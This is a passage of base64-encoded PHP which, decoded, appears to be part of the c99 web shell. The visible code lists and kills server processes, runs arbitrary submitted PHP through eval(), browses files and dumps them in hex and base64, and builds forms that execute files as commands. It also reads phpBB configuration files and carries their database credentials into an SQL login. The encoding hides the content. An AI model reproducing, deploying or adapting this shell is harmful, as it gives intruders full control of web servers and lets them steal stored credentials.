YWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+W3NvcnRfZGVzY108L2E+Ijt9CiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj5bc29ydF9hc2NdPC9hPiI7fQogICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOwogIGlmICghJHdpbikKICB7CiAgIGlmICgkcGlkKQogICB7CiAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcgPSA5O30KICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOwogICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQogICAgZWxzZSB7ZWNobyAiRVJST1IuIjt9CiAgIH0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9CiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOwogICB1bnNldCgkc3RhY2tbMF0pOwogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIuJGhlYWRbJGldLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRsaW5lKSkKewogZWNobyAiPHRyPiI7CiAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7CiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsKICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOwogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9CiAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOwogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRyZXQpO30KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgIHVuc2V0KCRzdGFja1swXSwkc3RhY2tbMl0pOwogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsKICAgJGhlYWQgPSBleHBsb2RlKCIiLCRzdGFja1swXSk7CiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIsJGhlYWRbMV0pOwogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOwogICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7CiAgIHVuc2V0KCRoZWFkWzJdKTsKICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOwogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPltzb3J0X2Rlc2NdPC9hPiI7fQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPltzb3J0X2FzY108L2E+Ijt9CiAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRsaW5lKSkKICAgIHsKICAgICBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiIsJGxpbmUpOwogICAgICRsaW5lWzFdID0gaW50dmFsKCRsaW5lWzFdKTsgJGxpbmVbMl0gPSAkbGluZVszXTsgdW5zZXQoJGxpbmVbM10pOwogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwiIiwkbGluZVsyXSkpKjEwMjQ7CiAgICAgJHByY3NbXSA9ICRsaW5lOwogICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgfQogIH0KICAkaGVhZFska10gPSAiPGI+Ii4kaGVhZFska10uIjwvYj4iLiR5OwogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOwogIHVzb3J0KCRwcmNzLCJ0YWJzb3J0Iik7CiAgaWYgKCRwcm9jZXNzZXNfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpO30KICAkdGFiID0gYXJyYXkoKTsKICAkdGFiW10gPSAkaGVhZDsKICAkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7CiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7CiAgZm9yZWFjaCgkdGFiIGFzICRpPT4kaykKICB7CiAgIGVjaG8gIjx0cj4iOwogICBmb3JlYWNoKCRrIGFzICRqPT4kdikge2lmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDIpIHskdiA9IHZpZXdfc2l6ZSgkdik7fSBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iO30KICAgZWNobyAiPC90cj4iOwogIH0KICBlY2hvICI8L3RhYmxlPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImV2YWwiKQp7CiBpZiAoIWVtcHR5KCRldmFsKSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU8L2I+Ojxicj4iOwogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogIGlmICgkdG1wKQogIHsKICAgb2JfY2xlYW4oKTsKICAgZXZhbCgkZXZhbCk7CiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsKICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICBvYl9jbGVhbigpOwogICBlY2hvICR0bXA7CiAgIGlmICgkZXZhbF90eHQpCiAgIHsKICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogICB9CiAgIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQogIH0KICBlbHNlCiAgewogICBpZiAoJGV2YWxfdHh0KQogICB7CiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOwogICAgZXZhbCgkZXZhbCk7CiAgICBlY2hvICI8L3RleHRhcmVhPiI7CiAgIH0KICAgZWxzZSB7ZWNobyAkcmV0O30KICB9CiAgQGNoZGlyKCRvbGRkaXIpOwogfQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQogZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9CmlmICgkYWN0ID09ICJmIikKewogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQogewogIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30KIH0KIGVsc2UKIHsKICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAkYyA9IGNvdW50KCRleHQpLTE7CiAgJGV4dCA9ICRleHRbJGNdOwogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICRyZnQgPSAiIjsKICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30KICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQogICRhcnIgPSBhcnJheSgKICAgYXJyYXkoIltoZXhdIiwiaW5mbyIpLAogICBhcnJheSgiW2h0bWxdIiwiaHRtbCIpLAogICBhcnJheSgiW3R4dF0iLCJ0eHQiKSwKICAgYXJyYXkoIltDb2RlXSIsImNvZGUiKSwKICAgYXJyYXkoIltTZXNzaW9uXSIsInBocHNlc3MiKSwKICAgYXJyYXkoIltleGVdIiwiZXhlIiksCiAgIGFycmF5KCJbU0RCXSIsInNkYiIpLAogICBhcnJheSgiW2dpZl0iLCJpbWciKSwKICAgYXJyYXkoIltpbmldIiwiaW5pIiksCiAgIGFycmF5KCJbZG93bmxvYWRdIiwiZG93bmxvYWQiKSwKICAgYXJyYXkoIltydGZdIiwibm90ZXBhZCIpLAogICBhcnJheSgiW2NoYW5nZV0iLCJlZGl0IikKICApOwogIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtbJGV4dF0mbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsKICBmb3JlYWNoKCRhcnIgYXMgJHQpCiAgewogICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwvZm9udD48L2E+Ijt9CiAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9CiAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9CiAgIGVjaG8gIiAoPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHRhcmdldD1cIl9ibGFua1wiPis8L2E+KSB8IjsKICB9CiAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogIGlmICgkZnQgPT0gImluZm8iKQogIHsKICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsKICAgaWYgKCEkd2luKQogICB7CiAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOwogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7CiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsKICAgIGVjaG8gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZC4kZikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkLiRmKSk7CiAgIH0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgJGZpID0gZm9wZW4oJGQuJGYsInJiIik7CiAgIGlmICgkZmkpCiAgIHsKICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hvICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30KICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30KICAgICRuID0gMDsKICAgICRhMCA9ICIwMDAwMDAwMDxicj4iOwogICAgJGExID0gIiI7CiAgICAkYTIgPSAiIjsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKQogICAgewogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7CiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQogICAgIHsKICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOwogICAgICBjYXNlIDMyOgogICAgICBjYXNlIDEwOgogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOwogICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7CiAgICAgfQogICAgICRuKys7CiAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpCiAgICAgewogICAgICAkbiA9IDA7CiAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9CiAgICAgICRhMSAuPSAiPGJyPiI7CiAgICAgICRhMiAuPSAiPGJyPiI7CiAgICAgfQogICAgfQogICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMi4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgIH0KICAgJGVuY29kZWQgPSAiIjsKICAgaWYgKCRiYXNlNjQgPT0gMSkKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDIpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7CiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsKICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQogICB7CiAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7CiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsKICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQogICAgZWNobyAiPC9iPjxicj4iOwogICB9CiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQogICB7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOwogICB9CiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+K2NodW5rPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4KPFA+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQogIHsKICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30KICAgZWNobyAkcjsKICAgaWYgKCR3aGl0ZSkge2M5OXNoZXhpdCgpO30KICB9CiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJpbmkiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcChwYXJzZV9pbmlfZmlsZSgkZC4kZixUUlVFKSk7IGVjaG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikKICB7CiAgIGVjaG8gIjxwcmU+IjsKICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7CiAgIGVjaG8gJHZbMF0uIjxicj4iOwogICB2YXJfZHVtcCh1bnNlcmlhbGl6ZSgkdlsxXSkpOwogICBlY2hvICI8L3ByZT4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiZXhlIikKICB7CiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgICRjID0gY291bnQoJGV4dCktMTsKICAgJGV4dCA9ICRleHRbJGNdOwogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgJHJmdCA9ICIiOwogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO30KICAgfQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7CiAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9CiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKQogIHsKICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKQogICB7CiAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsKICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkKICAgIHsKICAgICBpbmNsdWRlKCRkLiRmKTsKICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsKICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHskZGJtcyA9ICJteXNxbCI7fQogICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRiaG9zdCkuIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnVzZXIpLiImc3FsX3Bh